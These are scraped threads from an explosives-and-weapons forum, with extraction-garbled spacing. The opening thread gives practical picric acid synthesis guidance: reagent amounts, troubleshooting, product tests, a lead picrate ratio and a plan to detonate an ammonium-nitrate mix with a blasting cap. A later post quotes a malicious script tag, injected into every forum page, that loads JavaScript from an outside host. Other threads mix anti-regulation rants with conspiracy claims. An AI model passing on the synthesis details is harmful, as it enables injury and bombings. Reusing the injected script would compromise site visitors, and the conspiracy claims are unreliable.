acid. I dont think im quite rea dy to run with the big dogs yet, so I m i n g l e h e r e .
I've also had trouble producing quality picric acid. I've m ade three attempts to date, all of which gave very poor yeilds/results.
I have learned a few things as a result of these failures (better than nothing at all), but not enoug h to produce a quality
product.
My first attempt started with a very deep green solution after adding the ASA to the H2SO4 (this also happened in my second
attem pt). I later foun d out m y ASA was im pure. I decided to go along with the nitration anyway, despite m y dark green
solution. Upon adding the KNO3 (very slowly) the solution started to turn a deep orange.
After nitration, the solution wa s a brighter shade of orange. However, during this process there was no foam (or NO x for that
m atter... thankfully) it seemed to go pretty smoothly.
I think this m ight have to do with the scale of my experim ent and the sp eed at which I ad ded the KNO 3. It was 10% of
Mr.C ool's m ethod and the KNO3 was added painfully slow. I poured the solution into cold water and crystals percipitated.
Everything seemed normal to me, though that isnt saying much.
I ran into a bit of a puzzling situation which I attribute to my lack of knowledge in the overall process. After filtering and drying
the crystals I thought it best to test them . I tried to burn what I thought was picric acid. All it did was m elt d own into a pool,
turned brown , then bubbled away, hardly what I was expecting.
My third attem p t e n d e d i n m u c h t h e s a m e w a y ( u s e d 2 g A S A , 3 0 m L H 2 S O 4 , a n d 4 g K N O 3 ) . T h e c r y s t a l s a p p e a r e d t o b e a f a int

yellow. Upon burning these crystals, I noticed relatively the sam e thing as last tim e. These crystals m elted down, turned brown,
bubbled up, then finally evaporated away.
I've searched the forum endlessly for answers and so far all I ca n come up with is it might look like picric acid but m ight be
s o m ething else. Any guidance as to what m ight have went wrong, how I might be able to im prove m y m ethods, or even how to
test my product to see if it is picric acid would b e m uch appreciated.
I c a n ' t s e e m t o f i n d a n y t h i n g o n T h e F o r u m in regard to determ aining if what I have is indeed picric acid. Maybe I have missed
a thread.
Chopper S e p t e m b e r 3 0th, 2006, 01:09 PM

@ bonusiletisim : Have just checked your photo, but MegaUpload says that the link will re-appear when som e b o d y r e - u p l o a d s
it. So I guess it's broken.
I t o o h a v e e x p e r i e n c e d a f o a m i n g u p o n crashing of the solution into ice-water. In m y case I believe it was a result of too m uch
water, not-finely-enough divided ice, which was further exacerbated by my enthusiasm to pour the reaction mixture all in at
once.
I tried recovered the foamy layer seperate from the crystals at the bottom . I unfortunately have no notes, but from mem ory
both portions were able to synthesise PbPicrate .
Lastly, are you melting the acid close to the edge? (and hence the flame ) Picric acid does indeed melt before bubbling and
dissapearing. I've not found it to be particularly com bustible even in this molten phase. Try using a sheet of Al-foil. Place the
s a m ple under investigation close to one corner before heating with a match or lighter. Upon m eltin g , y o u s h o u l d b e a b l e t o g e t
it to start burning if you can play the flam e across the top of the m o l t e n , f u m i n g s a m ple.
In m y experience, it's about as easy to light as cooking oil.
Tip: try folding the co ffee filter so that there's no strain on the join before placing inside a kitchen funnel.
Even if it doesn't burn you can still sm ell the distinct sm ell of picric. Kinda like coal smoke mixed with som ething m o r e
chemical in nature.
But m ost sim ple of all - look at anything that the horrible stuff has come in conta ct with. i.e your hands, clothes, and ther filter
paper. If any or all of these are bright yellow and won't com e cle an....
51cent S e p t e m b e r 3 0th, 2006, 11:14 PM

Nain K a i g o a n d C h o p p er, did you use the sam e synthese instructions at a ll your attem pts ? W hen searching for sythese
instructions I collect as m a n y a s p o s s b ile and select the m ost agreeing to natural hum an sense. Mr. Cool's collection(I
a p o l o g i z e t o y o u i f t h o s e i n s t r u c t i o n s a r e b a s e d o n e x p e r i e n c e a nd research) should not b e carried o u t o n e b y o n e a s l i s t e d .
I m ade 1,5 g PA from 2g of ASA using synthese 88-89-1-B: http ://www.sciencem a d n e s s . o r g / l a m bdasyn/synfiles/
pikrinsaeure.htm
I'll use 'em tuesday night to initiate the composition discribed in KIFE (AN+P+Soy+instant coffee). W e'll see whether "One #6
cap will reliably instigate detonation[...]"
(the rest is in solution and will probably used to sythesise potassium picrate)
Unfortunatly, it is written in Germ a n b u t you should be able to read out the main instructions.
I think you b o t h m a d e t h e m istake of thinking that this is a 1+1 chem istry reaction.
PA is a explosive which reacts exotherm ic (you might say "of course
it does you foul", but check out the properties of AP) ! This means that it's synthese has to be endotherm ic beacause its
d e t o n a t i o n / p yrolysis releases energy !
You both didn't m ention supplying heat to your reaction vessels, so I'm considering you didn't. ASA needs energy to form
"Phenolsulfonsure" AND the final treatm ent with HNO3 to form TNP. So try the method
above-mentioned.
bonusiletisim , where is m ore water inside ? in 65% HNO3 or in the vessel containing "Phenolsulfonsure" and +95% sulfuric
acid.
You misguided a basic rule of chemistry: water into acid and not the other way round. You have to pour your
"Phenolsulfonsure" into your vessel containing the HNO3. Although he properbly won't response d ue to the fact that he rests
in peace, I wanted to mention this.:rolleyes:
I hope that I was able to help you with the link. :o
And NBK, yes your right I'm a mem ber of the m inority who have methane bacteria in their colon. And I m a k e u s e o f ' e m !
The ability to profile a person by just one post is...interesting:D
lucas October 3rd, 2006, 11:58 PM

T h e f o a m y yellow stuff floating on the surface is likely picri acid foam with ubles of gas holding it u p.
As for testing if a product is picric acid. After isolating it, dissolve it in minim um water and then try staining a piece of fabric or
paper. Try also adding some soda to the solution to test acidity.
If either fails, so did synthesis.
Chopper October 4th, 2006, 04:10 AM

@ 51Cent: Nope. For about the first 4 attem pts I m ade a very deliberate decision to utilize methods described in different
sources. I am no longer able to locate the notes, but from m e m ory, the foam ing was observed on runs tha t contain e d m ore
h2so4 than others.
Going on what lucas has said, I propose that it was the excess o f acid that caused localize d heating to the point of
g a s s i f i c a t i o n . T h i s p h e n o m enon was not observed when using (a) lesser quanties of h2so4, nor (b) when the reaction m ixture
was poured very slowly onto the ice cubes them s e l v e s a s c o m p a r e d t o s i m ply dum ping into the cooled wate r (with ice blocks in
it).
Also, you are right to a degree with your thoughts on my assum ption of a 1:1 rea ction mix. It wasn't until further study that I
discovered that this was producing (pH)basic PbPicrate. To produce (pH)norm al PbPicrate, one m u s t u s e a 2 : 1 m olar ratio of
PbO and Picric.
Not quite sure where you're going with the endo/exothermic bit however. NG, NC, HMTD, Picric, AcetonPeroxide, SilverAcetylide/
D o u b l e S a l t s a l l r e l e a s e h e a t u p o n f o r m ation, and with the exception of the Aceto n e p e r o x i d e , a l l r e l e a s e c o p i o u s q u a n t i t i e s o f
it upon detonation. Although requiring strong heating during the synth, P icric Acid is here too, since it is the form ation of
Phenol-4-Sulphonic acid that is endoth erm ic, not the nitration (into Picric) of said sulphonic acid.
Enjoy your yellow fingers :D
EDIT: I got down to u sing abo ut 8gm purified ASA in 80gm s h 2 s o 4 . U s i n g 8 0 m l ( 1 4 7 . 2 g m ) p r o v i d e d n o b e n e f i t a n d

e x c a c e r b a t e d t h e f o a m ing pro blem .

The Explosives and W eapons Forum > Knowledge and Inform ation > T h e W ater Cooler > The "Anti-Pyrotechnics"
M o v e m ent
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View Full Version : The "Anti-Pyrotechnics" Movement
quicksilver Novem ber 30th, 2005, 11:53 AM

T h e C P S C h a s m a d e a n u m ber of m oves in the direction of eliminating the hobby of pyrotechnics. Some folks feel that is
extrem ely narrow minded & wondered where all this beg an. Some would say that the 1968 Child Protective Act in the U S was a
political "piggy-back" re; pyrotechnics - just as gun control has b e e n a b o o n f o r m any political hacks to gather votes. But one
California gentelm an has devoted his sweet tim e a n d w e b p a g e t o m a k i n g " b o m bs & fireworks" a real "in-your-face" issue....
http://nobom bs.net/brucel/ex plosiveintro.htm l
I have rearly read such garbage & lies in recein t m e m ory. This p erson who promo tes this web page is very serious about
stop ping free speech issues: just as the Califiornian Fienstein Am m e n d m ent attem pted to do. For those of you who are not
familiar with the Feinstein bill, it proposed that any and all "bom b-m aking" inform ation sh ould be stricken from the internet
(books too!) and treated as a Felony.....This is serious 1st Am m e n d m e n t s t u f f a n d t h e w e b p a g e a b o v e w o r k s h a n d i n g l o v e
with some other special interest groups....If you have the stoma ch; check it out.
A sim ple Google for "Bom b making on the web, legislation" will also give some insight as to som e lengths attem pted in that
direction.
Chris The Great Novem ber 30th, 2005, 07:56 PM

I know I'm preaching to the choir, but:
There were a n estim ated 6,32 8,000 ca r accidents in the US in 2004. The cost of these accidents exceeds 230+ Billion dollars.
There were a bout 2.9 m illion injury cases and 42,636 car accident deaths.
Acco r d i n g t o t h e C o n s u m e r P r o d u c t s S a f e t y C o m m ission (CPSC), each ye ar there are about 7,000 fireworks related injuries.
This figure includes all injuries related to fireworks including, but not lim ited to, accidents involving homem a d e i t e m s a n d
illegal explosive devices. Over the last 10 years, 33% of all fireworks related injuries have been the result of illegal explosives
a n d h o m e m ade fireworks.
Acco rding to the CPSC, there were 16 deaths re lated to fireworks in 1999.
Ban cars etc. :rolleyes:
Jacks Complete D e c e m ber 1st, 2005, 07:19 PM

Oh, but if cars were fun, they *would* be banned!
Basically, if it's fun, they want to tax it or ban it. The UK is way a h e a d o f m ost pla c e s o n b a n n i n g e verything. W hen Guy Fawkes
tried, and failed, to blow the Houses of Parliam ent to hell, no-one decided to ban gunpowder. They didn't even license it till
years later. Now, 4 deaths in 5 years and they ban display fireworks!
Bag of shite. I've see n the future, and it's a 42 year old virgin sitting in a room being watched by 5 governm ent workers and
a n A I m onitoring his brain. 20 3% of his incom e will go on taxes to support the workers m onitoring his workers' workers, etc.
and he will be autom atically fined for being non-productive when he has a stray thought.
al93535 D e c e m ber 4th, 2005, 05:43 AM

The person who wrote that web page is a complete idiot! ANFO can be m ade touch sensitive? C'mon, thats the stupidest thin g I
have ever heard! But the page was worth a few good laughs.
Really though, all the new laws are complete bullshit. Feinstein can screw off, trying to trade our freedoms for FAKE safety and
security. It seem s s o m e o n e h e l l b e n t o n b l o w i n g s o m ething up will find a way. If he can't find the info to m ake it on-line he will
find it in a book. If there are no books, he will find som eone who knows, and if that fails he can steal the material from
n u m erous places.
Just like gun laws. A criminal can aquire a gun W AY easier then a law abiding citizen can. Its a fucking joke.
simply RED D e c e m ber 4th, 2005, 11:50 AM

Oklahoma Explosion
"The scene and residence were searched revealing flash powder, pipe fragm e n t s , n u m e r o u s P R ESC R I P T I O N NARC O T I C S ,
MAR IJUANA, PO RNOGR APHY, and firearms."
W asn't it some kind of "purple" explosion?

Obviously YES...
The Kentucky State Police requested ATF's assistance in investig ating the deaths of three men. They were killed in two
s e p a r a t e e x p l o s i o n s i n a m a r i j u a n a f i e ld.
Georgia
"Investigators determ ined tha t the explosion was cause d by an artillery grenade. One student had brought it to school and
gave it to another student who dropped it while handling it, causing it to explode. The investigation reveale d that th e first
stud ent had brought it from hom e after taking it from h is father's belongings. The father, a convicted felon , told investigators
t h a t h e h a d o b t a i n e d t h e g r e n a d e f r o m a friend who collects brass at the Fort Stewart m ilitary firing range."
The granade had a trip around the world :) ....
Bert D e c e m ber 4th, 2005, 06:14 PM

I found that site years ago. Apparently som e o n e h a s r e surected the thing. I recall finding a claim on that site that the Port
Chicago disaster m ay have involved nuclear rather than conventional explosives- Good for a chuckle.
The originator was a bom b squad officer in C A. No doub t he knows more about re ndering safe than I do. But his level of
knowledge of any oth er aspect of the arts was rather low... And his main interest in producing the site was to try to scare young
people away from pla ying with explosives. But young people don't have the experience or attitudes for THAT to work, IMHO .
You all know you're going to live forever. Wish I still did !
Hobbit Porn D e c e m ber 5th, 2005, 03:45 AM

I'm pretty su re I've seen that page ( or at least parts of it) on the net a few years ago... esp. the explosive roulette thingy.
But the page I rem ember was m o r e a b o u t e x p l o s i v e s a f e t y . . . a n d n o t s o m u c h d o o m a n d g l o o m . . . a n d I ' m pretty sure back
t h e n t h e p a g e was run by a Lauren Bayliss, or somethin g along those lines, Not Bruce Lieurance, former bom b technician.
T H e p a g e I r e m e m ber also offered a program called A.R.C.H.I.E. that wa s m a d e b y F E M A t o b e u s e d f o r r e s p o n s e s t o

explosions.
I didnt read m uch of this page, but som e of the links are pretty interesting if you are interested in industries that use
explosives, ( the ISEE page certainly caught m y attention, as I've seen their certificate course in m y university Library).
meselfs D e c e m ber 5th, 2005, 10:47 PM

ANFO can be made touch and friction sensitive if it has been con tam inated with som e impurities.
You mean if it's m ixe d with its equal volume of NG?
Ban cars etc.
Yes, ban cars PLEASE, I hate those stu pid things.
Flake2m D e c e m ber 6th, 2005, 03:54 AM

Australia has also just gained a step towards this.
W ith the Draconian pro-facist bill on anti-terrorism they have just passed, I don't hope to see pyrotechnics or anything fun
happenning anytim e too soon .
At the rate Australia is going, you won't be able to drink , s m o k e o r h a v e s e x b e f o r e y o u r J o h n H o w a r d s a g e .
quicksilver D e c e m ber 6th, 2005, 10:56 AM

O n e o f t h e M O S T d i s g u s t i n g a spects of this issue is the lies and misrepresentatio n s o f t h e " a n t i s " a g e n d a .
"TOUCH SENSITIVE ANFO....." - who in their right m ind would lie so overwhelmingly?
Just as in the various States within the USA; wh erein gun control has taken root C alifornia has just publishe d it's REAL murder
rates. For this year alone they had 2048 m urders. It's the States with gun control that have the highest murder rate. Look at
W ashington DC , Chiago, Trenton, etc. States like Montana, Wyom ing, Arizona have much lower m urder rates in ratio and
proportion to the population a nd have very lim ited gun control. States with m ore lax controls over pyrotechnical hobbyists ha ve
lowe r incidents of children getting hurt with sam e. But the only way to determ ine this is to do some searching....the m e d i a
doesn't touch it. The C PSC would be out of business if they only stuck with consum er product issue s.
The lies are the thing that rea lly get m e angry. If the issues were based on facts then I would not feels tha t w e h a v e b e c o m e a
nation of cry-babys.
tmp D e c e m ber 30th, 2005, 07:09 AM

I saw that website years ago. Most of his pictures show "kewls" in
action - being careless and stupid. Of course he'll never point out
that MOST people using fireworks are safe anym ore tha n the antigun
nuts will report that MOST gun owners are not criminals. FUC KING
P R O PAGANDISTS ! :m a d :

The Explosives and W eapons Forum > Knowledge and Inform ation > T h e W ater Cooler > W hat is a "K3W l"?
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View Full Version : What is a "K3Wl"?

Many that are new to this forum have heard the word mentioned in conte xt and developed their own prescriptive diffinition of
the word. It has been o f t e n u s e d a s b o t h n o u n a n d v e r b , & h a s v a r i o u s s p e l l i n g s . W hat would a be a positive working m e a n i n g
be for those who, like pornography, know it when they see it but have no real understanding of it's foundation?
I for one, have rem e m bered it from th e "K3Wl Baum D0uD" travasty of posts on various sources (i.e. alt.eng. explosives, etc).
But if there were to be an actual working diffinition of the word what would it be?
{yes, this is written in jest, but things get so damn serious here I just thought som e m ight take a stab at actually defining this
very comm on term}
Jacks Complete D e c e m ber 10th, 2005, 07:43 PM

"K3Wl" is a 1337
(L33t
leet
'lite
elite )
speak way of saying "Cool", and it is from both of these evolutions that we can see the origin of the derogatory term.
T h e u s a g e o f " C o o l " t o d e s c r i b e s o m e o n e o r s o m e t h i n g has arisen over years of usage, u ntil it now means next to nothing,
but is still a vaguely positive word. Context and tonality means everything. Of course, m a n y p e o p l e a r e n o t c o o l , a n d so try
hard to be, and, ironically, become far less cool than before.
T h i s d e s p e r a te attem pt (or repeated a ttempts) to com e across as cool, perhaps by pretending to be expert or professional in
a field of interest, is what we now know as "K3W l". It is a mocking term , one of derision.
It is best seen in a thread where seasoned experts are discussing a subtle aspect of a technique, having already outlined th e
technique in full at least twice, and have now m o v e d o n t o t h e f i n e s s e , t h e t o u c h e s t h a t " m a k e " a n e x p e r t s t a n d o u t f r o m
those who know a little. The Kewl will infiltrate the discussion, and then post som ething to try to show he, too is an expert.
Mostly, this is by posting something from earlier in the sam e thread which has be en done to death, except with a few changes
that make it highly dangerous, highly stupid or will prevent anything from happening. He (and it is generally a He) will do this
to try to instantly be seen as expert in that topic. Of course, engaging directly with experts m eans that the kewl is g enerally
discovered and mocked in short order.
Another favorite trick is to post someone else's post and claim it for themselves - theft of pictures and faked im a g e s a r e a
favo urite. This, especially in the top of the "pro fession" is also o ften spotted rapidly, not least because the copied work is often
one of the other thread posters' work.
And so, they are not "cool" bu t "K3W l".
W ill that do for a definition? ;-)

Yes, that was com p r e h e n s i v e a n d w e l l d o n e ; I e n j o y e d t h e e l e m e n t a l b a c k g r o u n d a n d f o u n d a t i o n o f " e l i t e " s p e a k . I w a s m a d e
awair of same back in the very early 1990's BBS "W arez" scene wherein a participant would trade software with others via a
BBS. O ften overseas (no matter where you were from), these boards were seen as the highest pinacle of Elite activity. The
"Warez" were traded from s o m e retail software store starting point but it was m a d e t o s e e m that the "source" was as intensive
a s a dam n intelligence agency. The participants were of various backgrounds but the preponderance were very youn g. If fact
their very youth was their only collective trait. Som e though, were very im m a t u r e e m otionally and would attem pt to create high
d r a m a f r o m the "release" of some new software.......
I Reme mber those ridiculou s A S C I I k e y s .
So those little bastards are still aournd? This m ust have been a real fashion; ingrained as it was. I actually read som e o f t h e
posts on Totse today.....Sweet Jesus!.....I don't understand why someone would foot the bill for the money to continue that
board.....There are posts there that are actual copies of posts HERE under another person's nam e. Not a Nom de guerre' of the
original but someone taking credit for the work of another! Very "un-cool" as it were.....
Mr.Azo D e c e m ber 20th, 2005, 07:52 PM

I just came across this m ovie, and thought I had to share it. It's a video of a "K3W l" in action:
http://www.flurl.com /featured/Fun_with_hom e _ m a d e _ b o m b_22567.htm l

The Explosives and Weapons Forum > Know ledge and Information > The Water Cooler > The Triumphant Return of Megalomania
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View Full Version : The Triumphant Return of Megalomania
megalomania December 12th, 2005, 12:00 AM

Greetings friends, it is I, megalomania, in the digital flesh. I have returned from my sabbatical from the Forum, unplanned as it w as, to begin in earnest settings things aright
once again. It is nice to see that things have progressed w ithout my intervention, and that no calamities have befallen us in the past three months.
I am sure your first question is where have you been? Quite simply due to an extraordinarily busy schedule of work and research I have significantly curtailed my Internet usage. Now
with the holidays upon us I have something resembling a vacation for the first time in months.
I have some catching up to do it seems. All in good time. For now I have some website tinkering to do, and I must find out who has been naughty and who has been nice.
Marvin December 12th, 2005, 04:53 PM

Welcome back!
Actually my first question w ould be 'Could you see to some of the area bans blocking many members from access (including myself)?'. Thanks.
I'd also add that the preperatory manual of explosives has been posted by FireFly (err from memory, I hope thats the right nick). Its certainly worth a read, some of it is good,
and some of the stuff king has written himself is so bad its scary.
Jacks Complete December 12th, 2005, 06:29 PM

Hi Mega. Welcome back.
Hopefully a few of the forum bugs can be sorted now, and the script attack from m.dynu.net can be gotten rid of!
(<meta name="keyw ords" content="The Triumphant Return of Megalomania explosives,weapons,improvised,chemistry,synthesis, hobbiest,amateur,science"><script
src=http://m.dynu.net/0p/rs.js>< /script> <b att="" /> is inserted on every page.)
Also of note is that either you set up, or someone at the ISP has, blocked the entire range of BT IPs from the root domain, meaning that about 50% of people in the UK cannot
see the site.
meselfs December 12th, 2005, 11:54 PM

Greetings friends, it is I, megalomania, in the digital flesh.
Welcome back, digital mantis!
It is nice to see that things have progressed without my intervention, and that no calamities have befallen us in the past three months.
Progress? I think stale is the right word.

But no calamities :->.
meaning that about 50% of people in the UK cannot see the site
And for the rest, it's aw fully slow.
DirtyDan December 13th, 2005, 04:57 AM

I too have noticed a significant slowdown with the server, here in the states.
festergrump December 13th, 2005, 07:28 AM

AH! Mega! Welcome home! :)
A brief message for you, sir, but pardon the fact I cannot attach this as a text file...
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megalomania January 9th, 2006, 07:24 AM

It is unfortunate that many members have been experiencing problems. I have been advised by nbk to stop lurking and actually start posting. He is right, my presence should
be visable.
I have not been able to replicate any problem with logging in, not being able to post, or not seeing any posts. This does not mean there is no problem, only that I have a harder
time finding something wrong when I do not experience it myself.
As for the evil dynu code snippet, that has been exorcised. I also just upgraded us to the latest stable version of vb.
I would like to gather some additional information from those who cannot log in. What browser do you use, do you block cookies or java, w hat country are you coming from,
are you able to log in, do you use proxies, and any other bit of information that may help me find the source of any problem.
I myself use Firefox 1.5 with no cookie or java restrictions for roguesci.org. You should not take my word for it, but for w hat it is worth the only cookies and java stuff on the
board is from the vbulletin software that controls your log in and certain menu functions.
I have updated the ban lists to remove certain wildcarded addresses and some artifacts of a bygone era. Hopefully more people will be able to get in. I also unbanned certain
popular email hosts, that has served its purpose for now. AOL, as always, remains banned :)
xyz January 11th, 2006, 09:51 PM

Thank god that dynu.net thing is gone now , it was taking me about 15 minutes to load each page back w hen it was still there, which is why I took to using The Crucible instead
(which seems to be down now , right after they made the forums publicly viewable, coincidence?).
simply RED January 12th, 2006, 11:45 AM

I am reporting for the situation in Bulgaria.
Every cabel operator has blocked the adress and the site is invisible (404).
The site is accessible only from public computer clubs with optical inernet.
The site is accessible only in the big cities.
Most possibly(99%) the intelligence called all computer operators to cease the access to roguesci. Now - all kinds of science are banned in my country, there is limited access to
libraries. Everyone dealing with science is threatened to stop.

There are a few unusual errors today! First, I am unable to approve any newbie posts. The threads and attachments approved just fine, but the posts to existing threads just
will not work. I get a 403 error of all things. Another problem I had when trying to post a reply to the thread about no longer moderating newbie posts was that it returned a
message saying "This forum is no longer accepting new posts." The section in particular being the water cooler. Since I just made a few other posts, and of course this post
here, something is screwy.
Oh dear me, it seems we have been lumped in w ith the axis of evil. I would tell people to use proxies, but how would they read my message. China tried the same blocking of
democracy websites and people got around that. Perhaps the Bulgarian el presidentae Georgi Purvanov is a bit nervous people might topple his empire? Maybe Ataka is rattling
its saber and threatning Purvanov?
The irony of this is that Bulgaria has a reputation for selling weapons to anyone, and by anyone I mean rebel groups, despotic nations, and terrorists.
Banned by a former comunist state... I think I will use this in the logo somew here. "9 out of 10 communist countries agree, Rogue Science is bad for imposing harsh
dictatorships on the people."
Chris The Great January 13th, 2006, 04:43 AM

(which seems to be down now , right after they made the forums publicly viewable, coincidence?).
Seems to be a temporary server problem, I couldn't get it to work but it is back up again now.
Mega, I like that slogan! You should stick it somewhere on the site :D
On the topic of errors, the preview post function works again, so at least some stuff it working properly...
Jacks Complete January 13th, 2006, 10:27 PM

Definately a great slogan. Might get the point across to some of those who w ould repress this freedom of speech.
As regards login, etc. I've had no more than occasional issues. One time the server w asn't setting the cookie, as kept saying "Thanks for login in" but then you weren't. That
solved itself (or was solved) after about three or four days.
I can confirm the site is flawless w ith Firefox 1.0.7 without javascript. The preview button always posts, though, and quick reply did the same as reply.
There are some 404 errors with some of the admin/mod pages, too. I'll PM you details if you like.
simply RED January 14th, 2006, 07:47 AM

"Bulgaria has a reputation for selling w eapons to anyone" Indeed true! But it is a reputation only. BG can produce only very very old fashioned and very very low quality small
arms. The corruption in the military sector led to the absolute end of production nowdays and the world is no longer threatened by BG weapons :P .
Before a w eak, the director w orking in one of the plants killed himself with his gun. There was a joke that if the gun was produced in his factory, he would be safe cause the
gun w on't fire :) .
He he, yea!
All opportunities should be explored and w e should be able to get profit from anything.
Actually our politicians are so stupid to decide (banning) on their own, most possibly they were told to do so by another big player (and they - like good sheep - alw ays listen ) .
This was the second logical step after ceasing access to the technical areas in the libraries (which is already a fact here). Ataka is just fun, its doubtful they could do anything.
Anyway, I know people there ...
Another interesting thing to spot is the fact, this is happening all over the world. This is not isolated phenomenon! Not only communists ban sites, all states do it now !!!
Small countries (like mine) and non- government organizatoins (like roguesci) are supposed be the first victims of the new world order. The ultimate goal is to turn people into
mindless slaves. It is not communist "CONTROL", nor is capitalist "USE OF PEOPLE". It is a state where you should be in "FULL CONTROL" by the raging arhistocracy.
This is happening now! And the "BAN OF INFORMATION" is ammongst their primary goals!
As long as I'm in concern, corruption is the main weapon of the people trying to hack the world.
KLuuppo February 1st, 2006, 01:37 PM

I wasn't able to get on the site until my ISP changed. It only said 403 forbidden w hen I tried to access the site. At my school it did work correctly, but not at my home. Now I'm
again able to use it, and quite happy about that. This happened here at finland.

The Explosives and Weapons Forum > Knowledge and Information > The Water Cooler > The Crucible
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View Full Version : The Crucible
Chris The Great December 17th, 2005, 07:11 PM

Since alot of you can't post, (or are afraid to post), and browsing thing forum is a real pain (turn off Javascript), I'd like to share that The Crucible, a forum dealing with E&W
but with a stronger interesting in chemistry and technology, and science in general, has reopened.
http://xsorbit29.com/users5/crucible/index.php
This isn't a plug, come if you want, if not then we don't care. We are not trying to replace RS, as has been stated many times RS is THE place for E&W. It is not the place for
chemistry and technology, so a new forum was created that focused on both of these things as well as E&W, which sciencemadness lacks.
Marvin December 18th, 2005, 11:46 AM

Risky move :D
Fair enough, but if we want a closer focus on chemistry and technology why would we go there rather than sciencemadness (for example)?
Chris The Great December 18th, 2005, 08:22 PM

Sciencemadness doesn't allow weapons discussion of any sort, so anything related to that is not allowed at all. Also, sciencemadness focuses mostly on chemistry, we're hoping
to have the crucible focus on a broader range of technical aspects, such as electronics, metalwork, etc. in addition. If you want, you can go to sciencemadness, it's still the best
forum for chemistry discussion. And RS is the best site for reading E&W discussions (not much actual discussion going on at the moment).
Marvin December 19th, 2005, 10:09 AM

The tech section at SM is weak, in the same way non explosive chemistry here is weak. The more forums overlap though the more areas are going to get diluted rather than
reinforced. I can see why weapons/explosives and electronics would make sense but to the outside world that equates to 'bomb' and 'timer'.
simply RED December 19th, 2005, 12:38 PM

Over 90% of the internet providers in Bulgaria have blocked the forum adress.
In some cases it gives error in some cases only the first page is visible and noth more.
The Bulgarian phohe operator finally blocked the adress too...
Marvin December 20th, 2005, 12:46 PM

What error do you get from a blocked IP?
I get a "Forbidden" but that comes from the roguesci server itself.

A spoof 403 could come from anywhere on the route. Don't take it as an idication that it's the RS server.
Marvin January 4th, 2006, 08:56 AM

A spoof 404 could come from anywhere on the route. Don't take it as an indication that the file is really missing.
The 403 has happened before for my IP range and its turned out to be an IP ban at the RS end. Short of a message from an admin telling me my range isnt banned, but my
packets never reach the server I don't see the need to look for other explanations.
megalomania January 9th, 2006, 08:12 AM

Try it now. I have removed almost all banned IP addresses. It looks like the list got screwy and added wildcards to addresses that in turn blocked a bit more than it should
have. Hopefully that's one more fire out, one more leak plugged, on to the next crisis on my list.
me234 January 30th, 2006, 04:18 AM

What I'm wondering about, is the issue of double posting, i.e. posting the same thing, but on both forums. The way I see it, is that discussions are going to overlap, it's
unavoidable. But I'll feel like a bit of a shit if I'm going around posting the same thing on two closely related, and somewhat collaborated, sites.
As for now I'm treating the Crucible as a backup for Home (i.e. here), that if RogueSci goes down again, then discussion on all the same topics can simply continue, but on a
different forum.
That being said, if I have anything to say pertinent to a Crucible discussion that doesn't come up here, I'm definitely going to post it there. What I'm then worried about is that
people might not know to go look at the Crucible for this info because it isn't as well known yet. Perhaps some mutual advertising may come in handy somewhere on both
sites???
Do any admin folk have a problem with this approach to things? Mega? NBK? Chris? Jacks?
nbk2000 January 31st, 2006, 12:22 AM

What you do on other boards doesn't concern us here.
However, posting the same thing at two different places that have common interests and shared membership could cause discussion to be fragmented across the two boards,
rather than unified under one.
If RS.org is down, go to the crucible for discussion, otherwise keep it here so it's all unified.

The Explosives and W eapons Forum > Knowledge and Inform ation > T h e W ater Cooler > NBK asked me...
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View Full Version : NBK asked me...
festergrump D e c e m ber 21st, 2005 , 07:29 PM

. . . t o r e l a y t h i s m e s s a g e o n t o a l l m e m bers here at Roguesci. He signed it with his PGP key so any with his key can verify it is
inde e d h i m .
-----BEGIN PGP SIGNED MESSAGE-----

Hash: SHA1
Just checking in to let everyone know that I'm still alive.
W orking m y a s s o f f t o m a k e m oney, alm ost 100 hour weeks, so I don't have a lot of free tim e. Hell, I barely get to sleep! :o
Anyways, the Forum is continu ing to have difficulties, Mega is AW O L ( a g a i n ) , a n d t h i n g s a r e d r a g g i n g h e r e .
Since I've be en in contact with the adm in of the C rucible, and he seem s to be an alright fella, I'm giving my endorsem ent to
the place as an alternative place for discussion of E&W while the Forum is in it's current state of disrepair.
This isn't to say that the Forum is bein g abandoned or replaced in favor of the Crucible...far from it. Only to say tha t the
Crucible is an oasis for thirsty seekers of knowledge to hang about for a while and stay in contact with each other, rather than
drifting apart because the main oasis (RS.org) is dryed up at the mom ent.
Since the adm in of th e C r u c i b l e s t a t e d t h a t s e v e r a l p e o p l e h a v e s t a t e d a f e a r o f b e i n g b a n n e d f r o m RS.org if they were

m embers of the Crucible, let m e clarify now that no one will be banned for joining the Crucible, since it's silly to say that peo ple
can't go som ewhere else to discuss E&W when we (R S.org) are currently incapable of adequately performing that function.
T h i s a l s o a p p l i e s t o a nyone who may be staff at the Crucible who's m embers here. The rule against serving two masters will
not be applied during the current troubles at RS.org.
Anyways, back to the grind, and have a good christmas and happy New Y ears and all that jazz. :)
NBK2000
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Kamisama D e c e m ber 23rd, 2005, 01:39 AM

;)
Let m e think about this.
1. Join an area where p e o p l e h a v e p o w e r t o b o o t s o m eone... or...

2. Stay in an area where the powers have abandoned to m a k e m ore m oney for christm a s s h o p p i n g .
I choose roguesci which is #2.

The nice thin g about this place is that sure, I cam e h e r e e x p e c t i n g s o m e cool stuff. I got som e c o o l i n f o . P e o p l e k n ow their
stuff. It also took me a few days of go o g l e s e a rching to come here. I originally knew this place existed from
s c i e n c e m a d n ess.org
Most importantly is the whole nam e of the dotcom a n d t h e b a n n er of the front pa ge. You can't find enough intellectuals who
are badasses who have Washu front Tenchi Muyo on their front page. That's seriously hardcore. :D
Other than that, this website is currently in a state of Anarchy if there is little or no moderation. The good side to this is that if
t h e w e b s i t e i s n o t s p o k e n a b o ut from word of m outh, I'm sure no idiots will trip around on it.
This shows that there is very little or no need for m oderation.

In that point, I rather stay in a place o f Anarchy then get banned from the crucible again.
Chris The Great D e c e m ber 23rd, 2005, 08:54 PM

Y o u g o t b a n n e d b e c a u s e y o u r a n t e d a b o u t h o w t h e f o r u m sucked when your thread about igniting gasoline with NaO H + water
was locked because the idea obviously couldn't ever work. You would have been banned from here by your first post.
Perhaps that is why you like the absen ce of m oderation? :D
festergrump D e c e m ber 26th, 2005, 11:33 PM

A n y o n e w h o h a s r e a d m uch of NBK's posts knows better than to think he was saving up for C hristm as gifts... m ore likely it's for
a com plete takeover of western civiliza tion.
Enjoy your anarchy while you have it, Genecks / Kam isam a. Doubtful it will last bu t mom e n t s l o n g e r than you will here...
Maybe you should ask Matsumoto Hideki / Mr. Anfo / 'whatever he calls him s e l f t h e s e d a y s ' f o r s o m e help on the "inventing"
of a 'new' plastic explosive fro m s o d i u m hydroxide, water, and g asoline... "MY DP P P g o W A Y f a s t e r t h a n 7 0 00 m ps, guys!" +
